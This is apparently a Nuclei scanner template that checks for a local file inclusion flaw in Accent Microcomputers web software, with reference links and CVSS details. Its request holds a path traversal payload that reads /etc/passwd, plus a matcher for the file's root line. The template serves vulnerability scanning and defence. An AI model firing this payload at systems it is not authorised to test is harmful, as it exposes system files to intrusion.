id: accent-microcomputers-lfi

info:
  name: Accent Microcomputers LFI
  author: 0x_Akoko
  severity: high
  description: A local file inclusion vulnerability in Accent Microcomputers offerings could allow remote attackers to retrieve password files.
  reference:
    - https://cxsecurity.com/issue/WLB-2018050036
    - http://www.accent.com.pl
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: microcomputers,accent,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?id=50&file=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e3b4c2484c846387015a9d178253acb9d468636399b1b0aa819345319a35d644022031fc159af7c60e5303177c5aca7b33bc580b9dea01f27babec9b73c913eb368d:922c64590222798bb761d5b6d8e72950